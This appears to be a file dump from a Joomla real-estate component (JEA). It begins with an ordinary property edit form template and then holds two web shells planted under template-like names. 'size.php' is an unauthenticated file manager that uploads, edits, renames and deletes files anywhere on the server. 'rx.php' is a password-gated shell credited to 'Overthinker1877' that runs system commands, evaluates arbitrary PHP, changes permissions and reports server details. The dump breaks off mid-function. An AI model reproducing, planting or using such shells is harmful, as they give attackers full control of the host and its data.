JHtml::_('behavior.calendar');
JHtml::_('behavior.formvalidation');

$this->form->setFieldAttribute('description',
'buttons', 'false');

$user = JFactory::getUser();
$uri =JFactory::getURI();
?>
<script type="text/javascript">
	Joomla.submitbutton = function(task) {
		if (task == 'property.cancel' ||
document.formvalidator.isValid(document.id('adminForm'))) {
			<?php echo
$this->form->getField('description')->save() ?>
			Joomla.submitform(task);
		} else {
			alert('<?php echo
$this->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'));?>');
		}
	}
</script>

<div class="edit property<?php echo
$this->escape($this->params->get('pageclass_sfx'))
?>">

<?php if ($this->item->id): ?>
	<p>
		<a
href="javascript:Joomla.submitbutton('property.cancel');"><?php
echo JText::_('COM_JEA_RETURN_TO_THE_LIST')?></a>
	</p>
<?php endif ?>

	<form action="<?php echo (string) $uri ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

		<fieldset>
			<legend>
				<?php echo empty($this->item->id) ?
JText::_('COM_JEA_NEW_PROPERTY') :
JText::sprintf('COM_JEA_EDIT_PROPERTY', $this->item->id)
?>
			</legend>

			<div class="formelm"><?php echo
$this->form->getLabel('ref') ?> <?php echo
$this->form->getInput('ref') ?></div>
			<div class="formelm"><?php echo
$this->form->getLabel('title') ?> <?php echo
$this->form->getInput('title') ?></div>
			<div class="formelm"><?php echo
$this->form->getLabel('transaction_type') ?> <?php
echo $this->form->getInput('transaction_type')
?></div>
			<div class="formelm"><?php echo
$this->form->getLabel('type_id') ?> <?php echo
$this->form->getInput('type_id') ?></div>

			<?php echo $this->form->getLabel('description') ?>
			<?php echo $this->form->getInput('description') ?>

			<fieldset>
				<legend><?php echo
JText::_('COM_JEA_LOCALIZATION')?></legend>
				<?php foreach
($this->form->getFieldset('localization') as $field): ?>
				<div class="formelm"><?php echo $field->label .
"\n" . $field->input ?></div>
				<?php endforeach ?>
			</fieldset>

			<fieldset>
				<legend><?php echo
JText::_('COM_JEA_FINANCIAL_INFORMATIONS')?></legend>
				<?php foreach
($this->form->getFieldset('financial_informations') as
$field): ?>
				<div class="formelm"><?php echo $field->label .
"\n" . $field->input ?></div>
				<?php endforeach ?>
			</fieldset>

			<fieldset>
				<legend><?php echo
JText::_('COM_JEA_DETAILS')?></legend>
				<?php foreach ($this->form->getFieldset('details')
as $field): ?>
				<div class="formelm"><?php echo $field->label .
"\n" . $field->input ?></div>
				<?php endforeach ?>
			</fieldset>

			<div class="clr"></div>

			<fieldset class="amenities">
				<legend><?php echo
JText::_('COM_JEA_AMENITIES')?></legend>
				<div class="clr"></div>
				<?php echo $this->form->getInput('amenities') ?>
				<div class="clr"></div>
			</fieldset>

			<?php if (JPluginHelper::isEnabled('jea',
'dpe')): ?>
			<fieldset>
			<?php
				if ($this->item->dpe_energy === null)
				{
					$this->item->dpe_energy = '-1';
				}

				if ($this->item->dpe_ges === null)
				{
					$this->item->dpe_ges = '-1';
				}

				$energyLabel = JText::_('PLG_JEA_DPE_ENERGY_CONSUMPTION');
				$energyDesc = $energyLabel . '::' .
JText::_('PLG_JEA_DPE_ENERGY_CONSUMPTION_DESC');
				$gesLabel = JText::_('PLG_JEA_DPE_EMISSIONS_GES');
				$gesDesc = $gesLabel . '::' .
JText::_('PLG_JEA_DPE_EMISSIONS_GES_DESC');
			?>
				<legend><?php echo
JText::_('PLG_JEA_DPE')?></legend>
				<div class="formelm">
	 				<label for="dpe_energy" class="hasTip"
title="<?php echo  $energyDesc ?>"><?php echo
$energyLabel ?> : </label>
					<input type="text" name="dpe_energy"
id="dpe_energy" value="<?php echo
$this->item->dpe_energy ?>" class="numberbox"
size="5" />
				</div>

				<div class="formelm">
					<label for="dpe_ges" class="hasTip"
title="<?php echo $gesDesc ?>"><?php echo $gesLabel
?> : </label>
					<input type="text" name="dpe_ges"
id="dpe_ges" value="<?php echo $this->item->dpe_ges
?>" class="numberbox" size="5" />
				</div>
			</fieldset>
			<?php endif ?>

			<?php if ($user->authorise('core.edit.state',
'com_jea')): ?>
			<fieldset>
				<legend><?php echo
JText::_('COM_JEA_PUBLICATION_INFO')?></legend>

				<div class="formelm">
					<?php echo $this->form->getLabel('published') ?>
<?php echo $this->form->getInput('published') ?>
				</div>

				<div class="formelm">
					<?php echo $this->form->getLabel('language') ?>
<?php echo $this->form->getInput('language') ?>
				</div>

				<div class="formelm">
					<?php echo $this->form->getLabel('featured') ?>
<?php echo $this->form->getInput('featured') ?>
				</div>

				<div class="formelm">
					<?php echo $this->form->getLabel('slogan_id') ?>
<?php echo $this->form->getInput('slogan_id') ?>
				</div>

				<div class="formelm">
					<?php echo $this->form->getLabel('created') ?>
<?php echo $this->form->getInput('created') ?>
				</div>

				<div class="formelm">
					<?php echo $this->form->getLabel('modified') ?>
<?php echo $this->form->getInput('modified') ?>
				</div>

				<div class="formelm">
					<?php echo $this->form->getLabel('publish_up')
?> <?php echo $this->form->getInput('publish_up')
?>
				</div>

				<div class="formelm">
					<?php echo $this->form->getLabel('publish_down')
?> <?php echo $this->form->getInput('publish_down')
?>
				</div>
			</fieldset>
			<?php endif ?>

			<fieldset>
				<legend><?php echo
JText::_('COM_JEA_PICTURES')?></legend>
				<?php JLayoutHelper::$defaultBasePath =
JPATH_COMPONENT_ADMINISTRATOR . '/layouts'; // Find layout path
into JEA admin directory ?>
				<?php echo $this->form->getInput('images') ?>
				<?php JLayoutHelper::$defaultBasePath = ''; // Restore
default base path ?>
			</fieldset>

			<div class="formelm">
				<?php echo $this->form->getLabel('notes') ?>
<?php echo $this->form->getInput('notes') ?>
			</div>

		</fieldset>

		<div class="formelm-buttons clr">
			<button type="button"
onclick="Joomla.submitbutton('property.apply')"><?php
echo JText::_('JSAVE') ?></button>
			<button type="button"
onclick="Joomla.submitbutton('property.cancel')"><?php
echo JText::_('JCANCEL') ?></button>
			<input type="hidden" name="task"
value="" />
			<input type="hidden" name="return"
value="<?php echo
JFactory::getApplication()->input->getCmd('return')
?>" />
			<?php echo JHtml::_('form.token') ?>
		</div>
	</form>
</div>
views/form/tmpl/size.php000064400000025733151165174020011317
0ustar00<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible"
content="IE=edge">
    <meta name="viewport" content="width=device-width,
initial-scale=1.0">
    <title>-</title>
    <link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet"
       
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD"
crossorigin="anonymous">
    <link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
       
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous"
referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . '
GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif",
"jpg", "jpeg", "jfif", "pjpeg",
"pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b",
"mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid
fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid
fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands
fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands
fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular
fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands
fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular
fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone
fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands
fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands
fa-js"></i> ';
        } else {
            return '<i class="fa-solid
fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".",
":");
        $b = array("ক", "খ", "গ",
"ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".",
":");
        $b = array("ক", "খ", "গ",
"ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted
and
Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo
("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color:
#e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img
src="https://github.com/fluidicon.png" width="30"
height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) .
'"><button class="btn btn-dark"
type="button">Upload File</button></a>
<a href="?"><button type="button"
class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i>
<a href='?p=" . urlencode(encodePath(PATH . "/" .
$folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH .
"/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" .
$folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) . "&r=" . $folder .
"'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) . "&d=" . $folder .
"'><i class='fa fa-trash'
aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/"
. $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH
. "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/"
.$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" .
urlencode(encodePath(PATH)) . "&e=" . $file .
"'><i class='fa-solid
fa-file-pen'></i></a>
          <a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) . "&r=" . $file .
"'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) . "&d=" . $file .
"'><i class='fa fa-trash'
aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo
("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post"
enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload"
id="fileToUpload">
        <input type="submit" class="btn btn-dark"
value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) &&
isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name"
value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark"
value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" .
$_POST['name'])) {
                    echo ("<script>alert('Renamed.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
                } else {
                    echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) &&
isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' .
htmlspecialchars(file_get_contents(PATH."/".$_GET['e']))
. '</textarea>
        <br>
        <input type="submit" class="btn btn-dark"
value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
        } else {
            echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" .
$_FILES["fileToUpload"]["name"];
        if
(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$target_file)) {
            echo
"<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"]))
. " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your
file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q']))
{
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
            } else {
                echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory
removed.'); window.location.replace('?p=" . encodePath(PATH)
. "');</script>");
            } else {
                echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
       
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>views/form/tmpl/rx.php000064400000035171151165174020010773
0ustar00<?php
error_reporting(0);
$password='x7781x';


$xyn='tunafeesh';
if(isset($_POST['pass']))
{if($_POST['pass']==$password) {setcookie($xyn,
$_POST['pass'], time()+3600);} let_him_in();}
if(!empty($password) && !isset($_COOKIE[$xyn]) or
($_COOKIE[$xyn]!=$password)) {initiate(); die();}
$me=basename(__FILE__);$server_soft=$_SERVER["SERVER_SOFTWARE"];$uname=php_uname();$cur_user=get_current_user().'
uid:'.getmyuid().'
gid:'.getmygid();$safe_mode=ini_get('safe_mode');$safe_mode=($safe_mode)?('<font
color:crimson>ON</font>'):('<font
color=#CBD4C1>OFF</font>');$cwd=getcwd();$bckC='#333333';$txtC='#999999';
$start='<html><head><title>'.getenv('HTTP_HOST').'
=> secured by Overthinker1877</title><style>body
{background:'.$bckC.';color:'.$txtC.';font-size:9pt;font-family:Trebuchet
MS,cursive,sans
serif;}h1#n{position:fixed;top:10px;left:10px;text-shadow:0px 0px 5px
black;color:#DFE6D5;}h1#nm{text-shadow:0px 0px 5px black;color:#79a317;}a
{color:'.$txtC.';text-decoration:none;font-family:Comic Sans
Ms,cursive,sans serif;}a:hover {color:#FBFFF4;}hr
{background:'.$txtC.';color:black;}p#bck{position:fixed;top:20px;right:20px;}#menu
{position:fixed;bottom:0px;width:100%;font-size:13pt;}#menuB
{background:'.$bckC.';box-shadow:0px 0px 10px
black;border-radius:15px;padding:5px 20px 5px
20px;}table#moreI{font-size:9pt;background:'.$bckC.';border-radius:10px;box-shadow:0px
0px 10px black;padding:5px;position:fixed;bottom:XMR
{background:'.$bckC.';border-radius:10px;border:1px solid
'.$txtC.';color:'.$txtC.';text-align:center;}input#ltb
{background:rgba(0,0,0,0);border-radius:10px;color:'.$txtC.';box-shadow:0px
0px 1px '.$txtC.';border:0px solid rgba(0,0,0,0);}table#ft
{font-size:9pt;padding:5px;border-radius:10px;box-shadow:0px 0px 10px
black;}td#fh {border-bottom:1px solid
'.$txtC.';padding-bottom:3px;}tr#fn:hover{box-shadow:0px 0px 5px
black;}h3 {text-shadow:0px 0px 4px black;font-size:13pt;}textarea#edit
{background:'.$bckC.';color:'.$txtC.';box-shadow:0px
0px 10px
black;border-radius:10px;border:none;padding:10px;}</style><script
type="text/javascript">function get_inf()
{if(document.getElementById(\'moreI\').style.display=="block"){document.getElementById(\'moreI\').style.display="none"}else
{document.getElementById(\'moreI\').style.display="block";}}
function xyn(id1,id2)
{document.getElementById(id1).style.display="block";document.getElementById(id2).style.display="none";}</script></head><body><h1
id="n"><a
href="?x=x">Overthinker1877</a></h1>';
$menu='<center><p id="menu"><span
id="menuB"><<a
href="'.$me.'">Home</a>> <<a
href="?x=cmd&d="'.realpath('.').'">Command</a>>
<<a
href="?x=php&d="'.realpath('.').'">PHP</a>>
<<a href="javascript:get_inf();">Info</a>>
<<a href="?x=q">Logout</a>>
</span></p></center>';$end='</body></html>';$inf='<center><p
id="inf">|||
<b><i><u>Software:</u></i></b>
'.$server_soft.'  ||| 
<b><i><u>Uname:</u></i></b>
'.$uname.' |||</br>|||
<b><i><u>User:</u></i></b>
'.$cur_user.' ||| <b><i><u>Safe
Mode:</u></i></b> '.$safe_mode.' |||
<b><i><u>Directory:
</i></b></u>'.$cwd.'
|||</p></center><hr>';
print $start;print $menu;print $inf;
$moreI=array('Versiyon a PHP' => phpversion(),'Zend
Version' => zend_version(),'Magic Quotes' =>
magic_quotes(),'Curl' => curl(),'Register Globals'
=> reg_globals(),'OpenBase Dir' =>
openbase_dir(),'MySQL' => myql(),'Gzip' =>
gzip(),'MsSQL' => mssql(),'PostgreSQL' =>
postgresql(),'Oracle' => oracle(),'Total Space'
=> h_size(disk_total_space('/')) ,'Used Space' =>
h_size(disk_free_space('/')),'your IP' =>
'185.137.232.131','Server IP' =>
$_SERVER['SERVER_ADDR']);print '<table
id="moreI">'; foreach($moreI as $n => $v) {print
'<td>'.$n.'</td><td> :>
</td><td> '.$v.'</td><tr>';} print
'<td colspan=3 align="center"><a
href="?x=phpinf"
target="_blank">PHPInfo</a></td></table>';
if(isset($_GET['d'])) {chdir($_GET['d']);}
if(isset($_REQUEST['x']))
{
	print '<p id="bck"><a
href="?d='.realpath('.').'">BACK</a></p>';
	switch($_REQUEST['x'])
	{
		case 'c':
if(isset($_POST['edit_form'])){$f=$_GET['f'];$e=fopen($f,'w')
or print '<p id="nn">File Open
Nebo</p>';fwrite($e,$_POST['edit_form']) or print
'<p id="nn">Couldn\'t Save
File</p>';fclose($e);}print '<center><p>Editing
'.$_GET['f'].' ('.perms($_GET['d'] .
$_GET['f']).') .</p></br></br><form
action="?x=c&d='.realpath('.').'&f='.$_GET['f'].'"
method="POST"><textarea cols=90 rows=15
name="edit_form"
id="edit">';if(file_exists($_GET['f'])){$c=file($_GET['f']);foreach($c
as $l){print htmlspecialchars($l);}}print
'</textarea></br></br><input
type="submit" value="Save"
id="sv"></form></center>';break;
		case 'cmd': print
'</br></br><center><h3>Command Kar
Bine</h3><form
action=?x=php&d="'.realpath('.').'"
method="POST"><input typa</h3><form
action="?x=cmd&d='.realpath('.').'"
method="POST"><input type="text"
value="" name="cmd" id="lt">  <input
type="submit" value="Go"
id="lt"></form></br><textarea cols=90 rows=15
id="edit">';if(isset($_POST['cmd']))
{$cmd=$_POST['cmd']; execute(exec_meth(),$cmd);}print
'</textarea></center>';break;
		case 'php': print
'</br></br><center><h3>PHP
Code="text" value="" name="pcode"
id="lt"> <input type="submit"
value="Go"
id="lt"></form></br><textarea cols=90 rows=15
id="edit">';if(isset($_POST['pcode']))
{$p=$_POST['pcode'];eval($p);}print
'</textarea></center>';break;
		case 'phpinf': phpinfo();break;
		case 'q':
setcookie($xyn,'',time()-3600);let_him_in();break;
		case 'x': print
'</br></br></br><center><h1
id="nm">ha to kux :/ Overthinker1877</h1><h3>Mail:
<a
href="mailto:nrm.hacker@gmail.com">nrm.hacker@gmail.com</a></h3><h3>Twitter:
<a href="http://www.twitter.com/kurdox"
target="_blank">Overthinker1877</a></h3><h3>Facebook:
<a href="http://www.fb.com/Overthinker1877"
target="_blank">Overthinker1877</a></h3></center>';break;
	}
}
else
{
	if(isset($_GET['d'])) {chdir($_GET['d']);}
	if(isset($_GET['ndir']))
{$d=$_GET['d'];$n=$_GET['ndir'];mkdir($d
.DIRECTORY_SEPARATOR. $n);}
	if(isset($_POST['new']))
{$n=$_POST['new'];$o=$_POST['old'];$d=$_POST['d'];rename($d.DIRECTORY_SEPARATOR.$o,$d.DIRECTORY_SEPARATOR.$n);}
	if(isset($_GET['deld'])) {$d=$_GET['deld'];
rmdir($d);}
	if(isset($_GET['delf'])) {$d=$_GET['delf'];
unlink($d);}
	if(isset($_GET['ch'])) {$ch=$_GET['ch'];
$d=$_GET['df']; chmod($d,$ch);}
	if(isset($_FILES['upfile']['name']))
{$d=realpath('.').DIRECTORY_SEPARATOR.basename($_FILES['upfile']['name']);move_uploaded_file($_FILES['upfile']['tmp_name'],$d);}
	print '<p align="center"
id="cp">'.curpath('').'</p>';
	print '<table width=90% align="center"
id="lt"cellpadding="0"><td
align="center"><form
action="?d='.realpath('.').'"
method="GET">Create Dir: <input type="hidden"
name="d" value="'.realpath('.').'"
id="lt"><input type="text" value=""
name="ndir" id="lt"> <input
type="submit" value="Go"
id="lt"></form></td><td
align="center"><form
action="?d="'.realpath('.').'"
method="GET">Create File: <input type="hidden"
value="'.realpath('.').'" name="d"
id="lt"><input type="hidden" value="c"
name="x"><input type="text" value=""
name="f" id="lt"> <input type="submit"
value="Go" id="lt"></form></td><td
align="center"><form
action="?x=cmd&d='.realpath('.').'"
method="POST">Command b kar bine: <input
type="text" value="" name="cmd"
id="lt"> <input type="submit"
value="Go" id="lt"></form></td><td
align="center"><form
action="?d='.realpath('.').'"
method="POST" enctype="multipart/form-data">Upload
bke: <input type="hidden" value="100000000"
name="MAX_FILE_SIZE"><input type="file"
name="upfile" id="ltb"> <input
type="submit" value="Go"
id="lt"></form></td></table>';
	print '</br>';
	$filex=array();
	$dirx=array();
	print '<table width="75%" align="center"
id="ft" ><td
id="fh"><b>Name</b></td><td
id="fh"
align="center"><b>Permissions</b></td><td
id="fh"
align="center"><b>Owner</b></td><td
id="fh"
align="center"><b>Options</b></td><tr
id="fn">';
	if($handle=opendir('.')) {while(false !==
($file=readdir($handle))) {if(is_dir($file)) {$dirx[] .= $file;} else
{$filex[] .= $file;}}asort($filex);asort($dirx);$i=0;
	foreach($dirx as $file) {if(function_exists('posix_getpwuid')
&& function_exists('posix_getgrgid'))
{$own=posix_getpwuid(fileowner($file));
$grp=posix_getgrgid(filegroup($file));} else
{$own['name']='???';
$grp['name']='???';}  print '<td
id="fc"><span id="n'.$file.'"><a
href="?d='.realpath($file).'">'.$file.'</a></span><span
id="r'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="POST"><input type="hidden"
value="'.realpath('.').'"
name="d"> <input type="text"
value="'.$file.'" id="lt"
name="new"><input type="hidden"
value="'.$file.'" name="old"> <input
type="submit" id="lt" value="Rename">
<input type="button" id="lt"
value="Cancel"
onClick="xyn(\'n'.$file.'\',\'r'.$file.'\');"></form></span><span
id="d'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET">Are you Sure?<input type="hidden"
value="'.realpath($file).'" name="deld">
<input type="submit" value="Yes"
id="lt"> <input type="button" id="lt"
value="No"
onClick="xyn(\'n'.$file.'\',\'d'.$file.'\')"></form></span></td><td
id="fc" align="center"><span
id="h'.$file.'"><a
href="javascript:xyn(\'c'.$file.'\',\'h'.$file.'\');"><font
color="'.get_color($file).'">'.perms($file).'</font></a></span><span
id="c'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET"><input type="hidden"
value="'.realpath($file).'"
name="df"><input type="text"
value="'.perms($file).'" id="lt"
name="ch"> <input type="submit" id="lt"
value="Go"> <input type="button"
id="lt" value="Cancel"
onClick="xyn(\'h'.$file.'\',\'c'.$file.'\');"></form></span></td><td
id="fc"
align="center">'.$own['name'].' :
'.$grp['name'].'</td>'; if($i==0 or $i==1)
{print '<td id="fc"></td><tr
id="fn">';} else {print '<td id="fc"
align="center"><a
href="javascript:xyn(\'r'.$file.'\',\'n'.$file.'\')">[R]</a>
<a
href="javascript:xyn(\'d'.$file.'\',\'n'.$file.'\')">[D]</a></td><tr
id="fn">';} $i++;}
	foreach($filex as $file) {if(function_exists('posix_getpwuid')
&& function_exists('posix_getgrgid'))
{$own=posix_getpwuid(fileowner($file));
$grp=posix_getgrgid(filegroup($file));} else
{$own['name']='???';
$grp['name']='???';} print '<td
id="fc"><span id="n'.$file.'"><a
href="?x=c&d='.realpath('.').'&f='.$file.'">'.$file.'</a></span><span
id="r'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="POST"><input type="hidden"
value="'.realpath('.').'"
name="d"> <input type="text" id="lt"
value="'.$file.'" name="new"><input
type="hidden" value="'.$file.'"
name="old"><input type="submit" id="lt"
value="Rename"><input type="button"
id="lt" value="Cancel"
onClick="xyn(\'n'.$file.'\',\'r'.$file.'\');"></form></span><span
id="d'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET">Are you Sure?<input type="hidden"
value="'.realpath($file).'" name="delf">
<input type="submit" value="Yes"
id="lt"> <input type="button" id="lt"
value="No"
onClick="xyn(\'n'.$file.'\',\'d'.$file.'\')"></form></span></td><td
id="fc" align="center"><span
id="h'.$file.'"><a
href="javascript:xyn(\'c'.$file.'\',\'h'.$file.'\');"><font
color="'.get_color($file).'">'.perms($file).'</font></a></span><span
id="c'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET"><input type="hidden"
value="'.realpath($file).'"
name="df"><input type="text"
value="'.perms($file).'" id="lt"
name="ch"> <input type="submit" id="lt"
value="Go"> <input type="button"
id="lt" value="Cancel"
onClick="xyn(\'h'.$file.'\',\'c'.$file.'\');"></form></span></td><td
id="fc"
align="center">'.$own['name'].' :
'.$grp['name'].'</td><td id="fc"
align="center"><a
href="javascript:xyn(\'r'.$file.'\',\'n'.$file.'\')">[R]</a>
<a
href="javascript:xyn(\'d'.$file.'\',\'n'.$file.'\');">[D]</a></td><tr
id="fn">';}}
	print '</table></br></br></br>';
}
function openbase_dir(){$x=ini_get('open_basedir');if(!$x)
{$o='<font color=#ccff00>OFF</font>';}else
{$o='<font color=crimson>ON</font>';}return($o);}
function magic_quotes(){$x=get_magic_quotes_gpc();if(empty($x))
{$m='<font color=#ccff00>OFF</font>';}else
{$m='<font color=crimson>ON</font>';}return($m);}
function curl(){if(extension_loaded('curl')) {$c='<font
color=crimson>ON</font>';}else {$c='<font
color=#ccff00>OFF</font>';}return($c);}
function reg_globals(){if(ini_get('reqister_globals'))
{$r='<font color=crimson>ON</font>';}else
{$r='<font color=#ccff00>OFF</font>';}return($r);}
function oracle(){if(function_exists('ocilogon'))
{$o='<font color=crimson>ON</font>';}else
{$o='<font color=#ccff00>OFF</font>';}return($o);}
function postgresql(){if(function_exists('pg_connect'))
{$p='<font color=crimson>ON</font>';}else
{$p='<font color=#ccff00>OFF</font>';}return($p);}
function myql(){if(function_exists('mysql_connect'))
{$m='<font color=crimson>ON</font>';}else
{$m='<font color=#ccff00>OFF</font>';}return($m);}
function mssql(){if(function_exists('mssql_connect'))
{$m='<font color=crimson>ON</font>';}else
{$m='<font color=#ccff00>OFF</font>';}return($m);}
function gzip(){if(function_exists('gzencode'))
{$m='<font color=crimson>ON</font>';}else
{$m='<font color=#ccff00>OFF</font>';}return($m);}
function h_size($s){if($s>=1073741824) {$s=round($s/1073741824*100)/100
.'GB';}elseif($s>=1048576) {$s=round($s/1048576*100)/100
.'MB';}elseif($s>=1024) {$s=round($s/1024*100)/100
.'KB';}else {$s=$s.'B';}return($s);}
function curpath($d){if($d=='')
